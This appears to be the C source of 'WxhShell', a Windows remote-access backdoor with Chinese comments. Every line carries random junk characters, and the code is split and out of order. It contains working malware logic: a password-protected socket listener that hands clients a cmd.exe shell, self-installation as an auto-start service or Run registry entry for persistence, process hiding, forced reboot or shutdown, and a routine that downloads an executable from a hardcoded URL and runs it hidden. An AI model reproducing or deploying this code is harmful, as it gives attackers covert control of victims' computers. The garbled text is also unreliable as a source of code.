    if(Boot(SHUTDOWN)) iZ#!O* >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]{)a,c NG  
    else { aGrIQq/k)%  
    closesocket(wsh); 9=vMgW  
    ExitThread(0); p#ol*m5wE  
    } A_XY'z1  
    break; mC4zactv  
    } N|8P)  
  // 获取shell <":;+ Ng+  
  case 's': { dbwe?ksh  
    CmdShell(wsh); :8L8q<U  
    closesocket(wsh); F f$L|  
    ExitThread(0);  A sQ)q  
    break; ~+Rc }K  
  } R+2+-j4  
  // 退出 y~Bh  
  case 'x': { *"+=K,#D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #zG&|<hc  
    CloseIt(wsh); 6.CbAi3Z  
    break; gQo]  
    } ;\a YlV-  
  // 离开 %7"q"A r[  
  case 'q': { TC @s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ee)T1~;W  
    closesocket(wsh); >QjAoDVX?  
    WSACleanup(); X}=n:Ql'YY  
    exit(1); ^`*9QjY  
    break; Y'c>:;JEe  
        }  |XT)QK1  
  } D8inB+/-  
  } !S^AgZ~  
T m_bz&Q  
  // 提示信息 yWg@v +  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T_s _p  
} Y#!UPhg<  
  } 4E; VM{  
I!^;8Pg  
  return; h hG4-HD  
} zO~8?jDN4|  
]p _L)  
// shell模块句柄 %=n!Em(  
int CmdShell(SOCKET sock) `Bo*{}E  
{ 33o9Yg|J~  
STARTUPINFO si; V^7V[(~`  
ZeroMemory(&si,sizeof(si)); bt"W(m&f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ov};e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z,RzN5eN  
PROCESS_INFORMATION ProcessInfo; O ,J>/  
char cmdline[]="cmd"; 8J=? 5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Obw|V-  
  return 0; udxFz2>_l$  
} _a5d?Q9Z  
A'j;\ `1  
// 自身启动模式 ~rlB'8j(  
int StartFromService(void) aK&b{d  
{ jK!Au  
typedef struct FemC Lvu  
{ PpGL/,]X  
  DWORD ExitStatus; w Qgo N%  
  DWORD PebBaseAddress; ||T2~Q*:y  
  DWORD AffinityMask; 8 BY j  
  DWORD BasePriority; W 0(_ ~  
  ULONG UniqueProcessId; O*eby*%h  
  ULONG InheritedFromUniqueProcessId; | h`0u'#  
}   PROCESS_BASIC_INFORMATION; {HL3<2=o  
ZRv*!n(Ug<  
PROCNTQSIP NtQueryInformationProcess; D!Q">6_"z  
;o^eC!:/%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }E+!91't.^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,oN8HpGs  
k'gh  
  HANDLE             hProcess; m`IC6*  
  PROCESS_BASIC_INFORMATION pbi; U1@IX4^2`  
,R'@%,/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IC#>X5  
  if(NULL == hInst ) return 0; s8QM ewU  
D;oe2E{I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @.osJ}FxA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oeKHqP wg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K\>tA)IPSV  
kd=GCO  
  if (!NtQueryInformationProcess) return 0; __`*dL>*  
b_,|>U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uXI_M)  
  if(!hProcess) return 0; X'wE7=29M  
|>27'#JC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V_>\ 9m  
_,zA ^*b  
  CloseHandle(hProcess); _]04lGx27  
Scp7X7{N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /,1D)0  
if(hProcess==NULL) return 0; \X<bH&x:z  
e`@ # *}A  
HMODULE hMod; T:t]"d}}  
char procName[255]; 4FEk5D  
unsigned long cbNeeded; ?f#y1m  
n?A6u\sQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +~'865{  
ICuF %  
  CloseHandle(hProcess); P1zKsY,l$<  
4A@NxihH  
if(strstr(procName,"services")) return 1; // 以服务启动 3j,Q`+l/6d  
A54N\x,  
  return 0; // 注册表启动 Dakoqke  
} V7GRA#|  
flk=>h|  
// 主模块 rJPb 3F  
int StartWxhshell(LPSTR lpCmdLine) K2 he4<  
{ 6^%UU o%  
  SOCKET wsl; N<f"]  
BOOL val=TRUE; @WJg WJm  
  int port=0; /nyUG^5#{  
  struct sockaddr_in door; 4S,`bnmB  
^cV;~&|.Xk  
  if(wscfg.ws_autoins) Install(); $>*3/H  
if}-_E<F  
port=atoi(lpCmdLine); wkP#Z"A0~  
(2$( ?-M  
if(port<=0) port=wscfg.ws_port; >QA uEM  
aki _RG>U'  
  WSADATA data; HKF H/eV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kpb#K[(]&  
>GQEqXs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w<zIAQN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ks=>K(V6  
  door.sin_family = AF_INET; h lkn%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W;_nK4$%'  
  door.sin_port = htons(port); q/4YS0CqE  
I*LknU@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k:*S&$S!E  
closesocket(wsl); -9"['-WH,  
return 1; 'I_Qb$  
} 0zo?eI  
9dFy"yxYa  
  if(listen(wsl,2) == INVALID_SOCKET) { +cIUGF p}  
closesocket(wsl); /[O(ea$U  
return 1; PH`9MXh  
} ="x\`+U  
  Wxhshell(wsl); =jSb'Vu|  
  WSACleanup(); A~Y^VEn  
b}0,\B%  
return 0; UQ'\7OS  
O_$m!5ug  
} dA@'b5N{"  
W4[V}s5u  
// 以NT服务方式启动 -cZDG t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :80Z6F.k`  
{ OC1I&",Ai|  
DWORD   status = 0; }-ftyl7  
  DWORD   specificError = 0xfffffff; KiI!frm1  
O?U'!o=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XID<(HBA"!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |3F02  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A6GE,FhsG  
  serviceStatus.dwWin32ExitCode     = 0; cU ? 0(z7  
  serviceStatus.dwServiceSpecificExitCode = 0; f:ZAG4B  
  serviceStatus.dwCheckPoint       = 0; Wm_4avXtO  
  serviceStatus.dwWaitHint       = 0; x 8Retuv  
i7ISX>%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K3m]%m2\  
  if (hServiceStatusHandle==0) return; vN|l\!~  
|_o=^?z'  
status = GetLastError(); qP{/[uj[K  
  if (status!=NO_ERROR) 7nHF@Y|*"  
{ .%.9n\b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D _/^+H]1  
    serviceStatus.dwCheckPoint       = 0; +6UVn\9Q  
    serviceStatus.dwWaitHint       = 0; Atflf2K  
    serviceStatus.dwWin32ExitCode     = status; S>.SSXlM  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q@ 2i~Qo[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Q%'N3gk  
    return; F_Y7@Ei/  
  } f` :i.Sr  
/J04^ 6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,S'p %g  
  serviceStatus.dwCheckPoint       = 0; XEn*?.e  
  serviceStatus.dwWaitHint       = 0; I *x[:)X8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jj,U RD&0R  
} G"X8}:}  
R<sJ^nx  
// 处理NT服务事件,比如:启动、停止 t'BLVCu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (7XCA,KTGI  
{ _/Gczy4)#  
switch(fdwControl) V6t,BJjS  
{ `kbSu}  
case SERVICE_CONTROL_STOP: 6T+FH;h  
  serviceStatus.dwWin32ExitCode = 0; NG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4AG\[f 8q  
  serviceStatus.dwCheckPoint   = 0; j6>.n49_  
  serviceStatus.dwWaitHint     = 0; .u:81I=w(  
  { r) $+   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (4'$y`Z  
  } P`#Z9 HM4  
  return; M&N B/  
case SERVICE_CONTROL_PAUSE: <@}I0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f8M$45A'  
  break; p!sWYui  
case SERVICE_CONTROL_CONTINUE: `!D s6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CamE'  
  break; 1QmH{jM  
case SERVICE_CONTROL_INTERROGATE: T.Ryy"%F  
  break; 2WtRJi?b|  
}; F#5B<I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2P/K K  
} c6nflk.l  
tj Gd )  
// 标准应用程序主函数 OR}c)|1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '~ ,p[  
{ ][W_[0v  
K?s+3  
// 获取操作系统版本 cgl*t+o&  
OsIsNt=GetOsVer(); 9AxCiT.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w=^`w:5X  
qHNE8\9  
  // 从命令行安装 6)vSG7Ise  
  if(strpbrk(lpCmdLine,"iI")) Install(); R  zf  
ms!ref4`+  
  // 下载执行文件 e*bH0';q  
if(wscfg.ws_downexe) { ]4R[<<hd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q4}PM[K?=\  
  WinExec(wscfg.ws_filenam,SW_HIDE); \e!vj.PU  
} fO0(Z  
F1jglH/MF)  
if(!OsIsNt) { +n<k)E@>J  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]%BWIqbr  
HideProc(); dxZu2&gi  
StartWxhshell(lpCmdLine); Ix(?fO#uNF  
} Gm9hYhC8  
else ?[)}l9  
  if(StartFromService()) zX0md x<|<  
  // 以服务方式启动 uiJS8(Cb  
  StartServiceCtrlDispatcher(DispatchTable); g.'yZvaP  
else |N}P(GF  
  // 普通方式启动 ccLq+a|  
  StartWxhshell(lpCmdLine); 9G{;?c  
Q$:![}[(  
return 0; K4]g[z  
} rS4@1`/R  
vG;zJ#c  
AC;V m: @{  
u0#}9UKQ  
=========================================== VQ0fS!5'  
q EP 4  
L0&RvI#  
u%]shm  
Y$Q|J4z  
y`$Q \}fS  
" FBpH21|/y  
l5g$vh\aQ]  
#include <stdio.h> 1j:Wh  
#include <string.h> d'/TdVM  
#include <windows.h> J|X 6j&-  
#include <winsock2.h> $ &P >r  
#include <winsvc.h> ;Ra+=z}>  
#include <urlmon.h> _R.B[\r@  
8F:e|\SB#  
#pragma comment (lib, "Ws2_32.lib") HcedE3Rg  
#pragma comment (lib, "urlmon.lib") 6_d.Yfbq  
wKi^C 8Z2  
#define MAX_USER   100 // 最大客户端连接数 u1z  
#define BUF_SOCK   200 // sock buffer mwY IJy[  
#define KEY_BUFF   255 // 输入 buffer d3W0-INL  
K]j0_~3s  
#define REBOOT     0   // 重启 ,RgB$TcE  
#define SHUTDOWN   1   // 关机 :^Fh!br==  
oyNSh8c7c  
#define DEF_PORT   5000 // 监听端口 C_4)=#@GU  
++aL4:  
#define REG_LEN     16   // 注册表键长度 B*~5)}1op  
#define SVC_LEN     80   // NT服务名长度 NvHJ3>"%  
BWrv%7  
// 从dll定义API !2z?YZhu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : C b&v07  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \mw(cM#:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -0_d/'d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IBQ@{QB  
+&Hr4@pgW  
// wxhshell配置信息 jMbC Y07v  
struct WSCFG { o$[z],RO  
  int ws_port;         // 监听端口 !!4Qj  
  char ws_passstr[REG_LEN]; // 口令 V^hE}`>z&  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZVbl88,(l  
  char ws_regname[REG_LEN]; // 注册表键名 n @?4b8"  
  char ws_svcname[REG_LEN]; // 服务名 _:X|.W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p|Q*5TO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !<UJ6t}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7C$ 5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cZ(elZ0~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0b/WpP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "H&"(=  
j:}DBk  
}; H-3Eo#b#  
_[Vf547vS  
// default Wxhshell configuration $8p7D?Y  
struct WSCFG wscfg={DEF_PORT, rz"txN  
    "xuhuanlingzhe", w|CZ7|6  
    1, M.nvB)  
    "Wxhshell", RGn!{=  
    "Wxhshell", Z0`T\ay  
            "WxhShell Service", ;L|uIg;.s  
    "Wrsky Windows CmdShell Service", } g3+{\x8  
    "Please Input Your Password: ", 01T`Flz  
  1, M;0]u.D*=  
  "http://www.wrsky.com/wxhshell.exe", fZxIY,  
  "Wxhshell.exe" n.sbr  
    }; v^ /Q 8Q  
 .AYj'Y  
// 消息定义模块 @"Z7nJX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :> &fV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <\0vR20/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TZt jbD>B  
char *msg_ws_ext="\n\rExit."; >7roe []-|  
char *msg_ws_end="\n\rQuit."; e5.h ?  
char *msg_ws_boot="\n\rReboot..."; K9vIm4::d$  
char *msg_ws_poff="\n\rShutdown..."; *]h`KxuO  
char *msg_ws_down="\n\rSave to "; }hYZ" A~  
[HN|\afz  
char *msg_ws_err="\n\rErr!"; D;I6Q1I  
char *msg_ws_ok="\n\rOK!"; 0W3i()  
>(y<0   
char ExeFile[MAX_PATH]; gtYAHi  
int nUser = 0; 8scc%t7  
HANDLE handles[MAX_USER]; DAwqo.m  
int OsIsNt; gPu2G/Y  
sHcTd>xS  
SERVICE_STATUS       serviceStatus; LGc&o]k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~>0qZ{3J_  
Hg9CZM ko  
// 函数声明 L{E^?iX  
int Install(void); %L [&,a  
int Uninstall(void); pA;-v MpMj  
int DownloadFile(char *sURL, SOCKET wsh);  e(NLX`  
int Boot(int flag); /t6X(*xoy  
void HideProc(void); {QbvR*gv  
int GetOsVer(void); 4CQ"8k(S"  
int Wxhshell(SOCKET wsl); w nTV|^Q  
void TalkWithClient(void *cs); lNv".Y=l  
int CmdShell(SOCKET sock); t8+_/BXv  
int StartFromService(void); k<RZKwQc  
int StartWxhshell(LPSTR lpCmdLine); H'MJ{r0,  
MG /,==  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tTN?r 8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'TTUN=y  
Z_gC&7+  
// 数据结构和表定义 ( Y+N@d  
SERVICE_TABLE_ENTRY DispatchTable[] = (~$/$%b  
{ m~lpyAw  
{wscfg.ws_svcname, NTServiceMain}, ? <Y+peu  
{NULL, NULL} p#SY /KIw  
}; <xJ/y|{  
#q3l!3\mW  
// 自我安装 kz"3ZDR  
int Install(void) Y%|@R3[Nk  
{ eUl/o1~mXa  
  char svExeFile[MAX_PATH]; l{VSb92f  
  HKEY key; W5/0`[4  
  strcpy(svExeFile,ExeFile); (_r EAEo  
kAM1TWbaVQ  
// 如果是win9x系统,修改注册表设为自启动 <`!PCuR  
if(!OsIsNt) { },5'z {3E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LkLN7|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - }!H3]tr  
  RegCloseKey(key); O)kg B rB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !;6Jng%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "xAWG$b  
  RegCloseKey(key); ri1C-TJM)  
  return 0; E42eOGp9i  
    } @<M*qK1h  
  } B/Gd(S`@q  
} cL8#S>>u.  
else { ?EU\}N J  
N~pIC2Woo  
// 如果是NT以上系统,安装为系统服务 8h<ehNX ^I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $6F)R|  
if (schSCManager!=0) xsjO)))f  
{ pPVRsXy  
  SC_HANDLE schService = CreateService s cdtWA  
  ( 7([h4bg{  
  schSCManager, 0)Rw|(Fpo]  
  wscfg.ws_svcname, =2y8 CgLj  
  wscfg.ws_svcdisp, \n9A^v`F/  
  SERVICE_ALL_ACCESS, F8e<}v&7R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i#X!#vyc  
  SERVICE_AUTO_START, fag^7rz  
  SERVICE_ERROR_NORMAL, 7n)&FX K`  
  svExeFile, uhV0J97  
  NULL, XYx 6V  
  NULL,  ==/n(LBD  
  NULL, 44\>gI<  
  NULL, Gjz[1d  
  NULL Sd IX-k.  
  ); }.)s%4p8  
  if (schService!=0) cgC\mM4Nla  
  { #JA}3]  
  CloseServiceHandle(schService); `\<37E\N}  
  CloseServiceHandle(schSCManager); X E}H3/2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %o?IsIys  
  strcat(svExeFile,wscfg.ws_svcname); Pw@olG'Ah  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5&CDHc7Oj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rZ_>`}O2  
  RegCloseKey(key);  Voh hQ  
  return 0; 5)zn:$cz  
    } /?"8-0d  
  } 8_d -81Dd  
  CloseServiceHandle(schSCManager); 1Q}mf!Y  
} %HtuR2#ca  
} ? 8 1X  
Swtbl`,  
return 1; 1u]P4Gf=  
} p4VqV6LwD  
LF*Q!  
// 自我卸载 Oajv^H,Em  
int Uninstall(void) 2aw&F Z?  
{ Bb Jkdt7  
  HKEY key; v| z08\a[  
%K 4  
if(!OsIsNt) { 2 Tvvq(?T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h5|.Et  
  RegDeleteValue(key,wscfg.ws_regname); 2aNT#J"_  
  RegCloseKey(key); F5gObIJtuY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jx-wO/  
  RegDeleteValue(key,wscfg.ws_regname); W VkR56  
  RegCloseKey(key); iO!6}yJ*V  
  return 0; ++[5q+b  
  } (L6Cy% KgV  
} y[0`hSQ)~  
} j<tq1?? [b  
else { qH%")7>  
myQ&%M gx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \tJFAc  
if (schSCManager!=0) ;n#%G^!H  
{ Aj"7q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $%c{06Oq(  
  if (schService!=0) ,<ya@Fi{  
  { h. hjz?  
  if(DeleteService(schService)!=0) { H D/5!d  
  CloseServiceHandle(schService); 8{&["?  
  CloseServiceHandle(schSCManager); Sn3:x5H,l  
  return 0; ^9"KTZc-*  
  } E\)eu1Hw4B  
  CloseServiceHandle(schService); 7CvD'QW /  
  } UWG+#,1J.\  
  CloseServiceHandle(schSCManager); Kf7WcJ4b  
} =N.!k Vkl  
} ^!: "Q3  
FT\?:wpKa  
return 1; h:qHR] 8dZ  
} Edt}",s7  
Ruh)^g  
// 从指定url下载文件 P-z`c\Rt  
int DownloadFile(char *sURL, SOCKET wsh) !FG%2L4?,5  
{ ]j.k?P$U}  
  HRESULT hr; 0=U70nKr  
char seps[]= "/"; S0@T0y#  
char *token; Lue|Plm[y  
char *file; 4\ $3  
char myURL[MAX_PATH]; SHdL /1~t  
char myFILE[MAX_PATH]; b#Kq[}  
(wt+`_6  
strcpy(myURL,sURL); =_=*OEgO]  
  token=strtok(myURL,seps); *:_~Nn9_R;  
  while(token!=NULL) W=-|`  
  { y62%26 [  
    file=token; R"6;NPeo  
  token=strtok(NULL,seps); =fG:A(v%}  
  } J=WB6zi  
setL dEi  
GetCurrentDirectory(MAX_PATH,myFILE); o$_93<zc  
strcat(myFILE, "\\"); cqL(^R.  
strcat(myFILE, file); E'dX)J9e$/  
  send(wsh,myFILE,strlen(myFILE),0); 6* rcR]  
send(wsh,"...",3,0); delf ]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r4k nN 2:  
  if(hr==S_OK) VQ |^   
return 0; p!"(s/=  
else 9R]](g#  
return 1; $iMC/Kym  
+g\;bLT  
} o'UHStk  
ubGs/Vzye  
// 系统电源模块 cx(2jk}6  
int Boot(int flag) |XcH]7Ai"  
{ l)@:T|)c  
  HANDLE hToken; lmFA&s"m  
  TOKEN_PRIVILEGES tkp; G%hO\EO  
wly>H]i'  
  if(OsIsNt) { 8 $ ~3ra  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jUY+3"?   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( tn< VK.  
    tkp.PrivilegeCount = 1; h`?k.{})M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wGXwzU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wJIB$3OT  
if(flag==REBOOT) { Ph)| j&]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6v47 QW|'  
  return 0; <'*4j\*  
} 8M93cyX  
else { F' BdQk3o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cf*zejbw  
  return 0; 9)ea.Gu  
} <aVfJd/fT  
  } k=uZ=tUft*  
  else { sv=^k(d3  
if(flag==REBOOT) { WN0c %kz=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +i)AS0?d  
  return 0; )Qr6/c 8}  
} euZ(}+N&  
else { ?`. XK}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M_&4]\PkCy  
  return 0; VD;j[~/Z  
} n6cq\@~A  
} &>=#w"skb6  
BJIQ zn3  
return 1; 0zV 4`y  
} |cu`f{E2]  
wgZrrq/W|  
// win9x进程隐藏模块 3j&B(aLy  
void HideProc(void) 'G Y/Q5  
{ 8A/>JD3^  
-3k;u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6Q$BUL}2?  
  if ( hKernel != NULL ) H-a^BZ&iU  
  { -A;w$j6*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "^"'uO$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); csvO g[  
    FreeLibrary(hKernel);  1ZNNsB  
  } E\! n49  
!3x *k;0  
return; ewQe/Fq  
} ,>w}xWSYpG  
pzSqbgfrQ  
// 获取操作系统版本 + (=I8s/  
int GetOsVer(void) 1*c>I@I;  
{ h#O"Q+J9n  
  OSVERSIONINFO winfo; )k~1,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <ge}9pU)o^  
  GetVersionEx(&winfo); wT% "5:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A;t zRe  
  return 1; uQ1jwYK`7  
  else -$L(y@%X^  
  return 0; X 7&U3v  
} @ RX`>r{_  
xN "wF-s4?  
// 客户端句柄模块 {Y "8~  
int Wxhshell(SOCKET wsl) ||fvKyKW>  
{ Q 3X  
  SOCKET wsh; cuMc*i$w!  
  struct sockaddr_in client; &CO| Y(+  
  DWORD myID; <i7agEdZD  
TK %< a/  
  while(nUser<MAX_USER) %^U"Spv;  
{ "uS7PplyO  
  int nSize=sizeof(client); oVEAlBm^v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 P~d:'Ib  
  if(wsh==INVALID_SOCKET) return 1; xH@'H?  
tx)OJY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #{~7G%GPY5  
if(handles[nUser]==0) |Cq8%  
  closesocket(wsh); DUo0w f#D^  
else N*':U^/t4J  
  nUser++; wO!% q[  
  } >F|qb*Tm7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d/4ubf+$k  
Ff&R0v  
  return 0; F7V6-V{_  
} 8.-S$^hj~6  
nHVPMi>  
// 关闭 socket h,.fM}=H  
void CloseIt(SOCKET wsh) ? KF=W  
{ ;,v.(Z ic  
closesocket(wsh); ^f6 {0  
nUser--; H.9yT\f.  
ExitThread(0); h-,?a_  
} 9PCa*,  
q /:T1a7!  
// 客户端请求句柄 >*{:l,LH  
void TalkWithClient(void *cs) |yU3Kt  
{ +/(|?7i@  
A{M+vsL  
  SOCKET wsh=(SOCKET)cs; IuDT=A  
  char pwd[SVC_LEN]; &p )@8HY  
  char cmd[KEY_BUFF]; 1oB$u!6P  
char chr[1]; LVoyA/ F  
int i,j; qKA_ A%  
e6o/q)9#  
  while (nUser < MAX_USER) { hi0XVC95  
B#Qpd7E+*  
if(wscfg.ws_passstr) { J+0/ :00(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p!QR3k.9s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  I}rGx  
  //ZeroMemory(pwd,KEY_BUFF); h&q=I.3O|?  
      i=0; 7^&lbzVbm(  
  while(i<SVC_LEN) { R~!\ -6%_  
/ Z1Wy-Z  
  // 设置超时 7x%S](m%  
  fd_set FdRead; ,}n=Z  
  struct timeval TimeOut; {clC n  
  FD_ZERO(&FdRead); Q|Nzbmwh  
  FD_SET(wsh,&FdRead); 7 T mK  
  TimeOut.tv_sec=8; 8V,"Id][  
  TimeOut.tv_usec=0; 7t`E@dm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T0s35z9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iF8@9m  
#gF2(iK6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CH55K[{<  
  pwd=chr[0]; Imke/ =h  
  if(chr[0]==0xd || chr[0]==0xa) { k"5`:qL  
  pwd=0; \ hrBq^I  
  break; gO9'q='5l  
  } u/;_?zI  
  i++; cl@kRX<7'  
    } FoQ?U=er  
2.!1kije  
  // 如果是非法用户,关闭 socket F9v)R #u~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tm%WWbc  
} ^M [#^wv,  
=A$Lgk>|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GA(OK-WUd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4P`PmQ=GQh  
8I<_w4fC  
while(1) { [y_yPOv  
r^fxyN2V  
  ZeroMemory(cmd,KEY_BUFF); h\/^Aa0  
/L)?> tg  
      // 自动支持客户端 telnet标准   qwL 0~I  
  j=0; !p-'t]  
  while(j<KEY_BUFF) { 2;3x,<Cg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M\9at\$  
  cmd[j]=chr[0]; l#tS.+B7  
  if(chr[0]==0xa || chr[0]==0xd) { "L ^TT2  
  cmd[j]=0; UB5}i('L  
  break; 1d=0q?nH  
  } j~X j  
  j++; 6.k^m&-A  
    } qw6EPC  
UIO6|*ka  
  // 下载文件 ^xzE^"G6  
  if(strstr(cmd,"http://")) { .L~fFns/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n'! -Pv  
  if(DownloadFile(cmd,wsh)) O)Xd3w'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k,a,h^{}j  
  else Lr K9F^c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "1_{c *ck  
  } l0eANB%Y=@  
  else { ] dW%g?  
